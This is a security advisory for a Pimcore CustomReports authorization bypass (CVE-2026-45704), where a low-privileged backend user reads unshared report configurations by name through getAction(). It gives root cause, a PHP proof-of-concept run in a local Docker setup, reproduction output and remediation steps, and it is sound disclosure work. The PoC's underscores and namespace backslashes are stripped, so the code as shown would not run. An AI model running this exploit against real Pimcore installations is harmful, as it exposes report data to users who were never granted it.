PT-2026-44159 · Packagist · Pimcore/Pimcore

Published

2026-05-27

·

Updated

2026-05-27

·

CVE-2026-45704

CVSS v4.0

7.1

High

VectorAV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.
  • The listing flow filters reports based on report-sharing rules
  • The detail flow only checks generic reports or reports config permissions
As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.
In the local Docker reproduction:
  • The report poc-secret-report was not visible to the low-privileged user in the report list
  • The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():
However, getAction() only checks generic permissions and then loads the report directly by name:
This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:
  • Report name
  • Grouping information
  • Display and icon metadata
  • Data source configuration
  • Column configuration
  • Sharing settings
From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:
This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the reports permission
  • The target report is not globally shared and is not shared with that user or the user's roles

PoC

<?php
declare(strict types=1);

use PimcoreBundleCustomReportsBundleControllerReportsCustomReportController;
use PimcoreControllerUserAwareController;
use PimcoreModelUser;
use PimcoreModelToolSettingsStore;
use PimcoreSecurityUserTokenStorageUserResolver;
use PimcoreSecurityUserUser as SecurityUser;
use PimcoreSerializerSerializer as PimcoreSerializer;
use PimcoreToolAuthentication;
use SymfonyComponentDependencyInjectionContainerInterface;
use SymfonyComponentHttpFoundationRequest;
use SymfonyComponentHttpFoundationRequestStack;
use SymfonyComponentSecurityCoreAuthenticationTokenUsernamePasswordToken;
use SymfonyComponentSecurityCoreAuthenticationTokenStorageTokenStorage;

require dirname( DIR ) . '/vendor/autoload.php';

define('PIMCORE PROJECT ROOT', dirname( DIR ));

try {
  PimcoreBootstrap::bootstrap();

  $kernel = new AppKernel('dev', true);
  Pimcore::setKernel($kernel);
  $kernel->boot();

  $container = $kernel->getContainer();

  /** @var RequestStack $requestStack */
  $requestStack = getService($container, [
    RequestStack::class,
    'request stack',
  ]);

  $admin = User::getByName('admin');
  if (!$admin instanceof User) {
    fail('admin user is missing');
  }

  $auditor = User::getByName('auditor customreports');
  if (!$auditor instanceof User) {
    $auditor = new User();
    $auditor->setParentId(0);
    $auditor->setName('auditor customreports');
  }

  $auditor->setAdmin(false);
  $auditor->setActive(true);
  $auditor->setPassword(Authentication::getPasswordHash('auditor customreports', 'auditor-pass'));
  $auditor->setPermissions(['reports']);
  $auditor->setRoles([]);
  $auditor->save();

  $timestamp = time();
  SettingsStore::set(
    'poc-secret-report',
    json encode([
      'name' => 'poc-secret-report',
      'niceName' => 'PoC Secret Report',
      'group' => 'Audit',
      'dataSourceConfig' => [['type' => 'sql']],
      'columnConfiguration' => [],
      'shareGlobally' => false,
      'sharedUserNames' => ['admin'],
      'sharedRoleNames' => [],
      'menuShortcut' => true,
      'creationDate' => $timestamp,
      'modificationDate' => $timestamp,
    ], JSON THROW ON ERROR),
    SettingsStore::TYPE STRING,
    'pimcore custom reports'
  );

  $tokenResolver = buildTokenResolver($auditor);
  $controller = wireController(new CustomReportController(), $container, $tokenResolver);

  $listRequest = new Request();
  $requestStack->push($listRequest);
  $listResponse = $controller->getReportConfigAction($listRequest);
  $requestStack->pop();
  $listData = json decode($listResponse->getContent(), true, 512, JSON THROW ON ERROR);

  $getRequest = new Request(['name' => 'poc-secret-report']);
  $requestStack->push($getRequest);
  $getResponse = $controller->getAction($getRequest);
  $requestStack->pop();
  $getData = json decode($getResponse->getContent(), true, 512, JSON THROW ON ERROR);

  $listedNames = array map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

  echo json encode([
    'vulnerability' => 'customreports share bypass',
    'user' => [
      'id' => $auditor->getId(),
      'name' => $auditor->getName(),
      'permissions' => $auditor->getPermissions(),
    ],
    'target report' => [
      'name' => 'poc-secret-report',
      'shared to' => ['admin'],
      'share globally' => false,
    ],
    'result' => [
      'report visible in list' => in array('poc-secret-report', $listedNames, true),
      'listed report names' => $listedNames,
      'direct get returned name' => $getData['name'] ?? null,
      'direct get shared user names' => $getData['sharedUserNames'] ?? null,
    ],
  ], JSON PRETTY PRINT | JSON UNESCAPED SLASHES), PHP EOL;
} catch (Throwable $e) {
  fail(sprintf(
    '%s: %s in %s:%d%s',
    $e::class,
    $e->getMessage(),
    $e->getFile(),
    $e->getLine(),
    $e->getTraceAsString() ? PHP EOL . $e->getTraceAsString() : ''
  ));
}

function wireController(
  UserAwareController $controller,
  ContainerInterface $container,
  TokenStorageUserResolver $tokenResolver
): UserAwareController
{
  $controller->setContainer($container);
  $controller->setTokenResolver($tokenResolver);

  if (method exists($controller, 'setPimcoreSerializer')) {
    /** @var PimcoreSerializer $serializer */
    $serializer = getService($container, [
      PimcoreSerializer::class,
      'PimcoreSerializerSerializer',
    ]);
    $controller->setPimcoreSerializer($serializer);
  }

  return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
  $tokenStorage = new TokenStorage();
  $proxyUser = new SecurityUser($user);
  $token = new UsernamePasswordToken($proxyUser, 'pimcore admin', $proxyUser->getRoles());
  $tokenStorage->setToken($token);

  return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
  foreach ($ids as $id) {
    try {
      if ($container->has($id)) {
        return $container->get($id);
      }
    } catch (Throwable) {
    }
  }

  fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
  fwrite(STDERR, $message . PHP EOL);
  exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor customreports with the reports permission.
  2. Create a report named poc-secret-report with:
  • shareGlobally = false
  • sharedUserNames = ['admin']
  1. As auditor customreports, request the visible report list and verify that poc-secret-report is absent.
  2. As the same user, call getAction(name=poc-secret-report) directly.
  3. Verify that the response still contains the report configuration.
Reproduction command:
cd pimcore-12.3.3-repro
docker compose exec -T php php poc customreports.php

Reproduction Result

Relevant PoC output:
{
 "vulnerability": "customreports share bypass",
 "user": {
  "name": "auditor customreports",
  "permissions": [
   "reports"
  ]
 },
 "target report": {
  "name": "poc-secret-report",
  "shared to": [
   "admin"
  ],
  "share globally": false
 },
 "result": {
  "report visible in list": false,
  "listed report names": [],
  "direct get returned name": "poc-secret-report",
  "direct get shared user names": [
   "admin"
  ]
 }
}
This shows that:
  • The current user cannot see the report in the visible report list
  • The same user can still retrieve the report configuration directly
This confirms that the share-bypass issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of report configuration
  • Disclosure of sharing scope and internal report structure
  • Potential leakage of data-source and query organization details
  • Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

  1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
  2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
  3. Return 403 for unshared reports.
  4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.

Fix

Incorrect Authorization

Weakness Enumeration

Related Identifiers

CVE-2026-45704
GHSA-JWCC-GV4M-93X6

Affected Products

Pimcore/Pimcore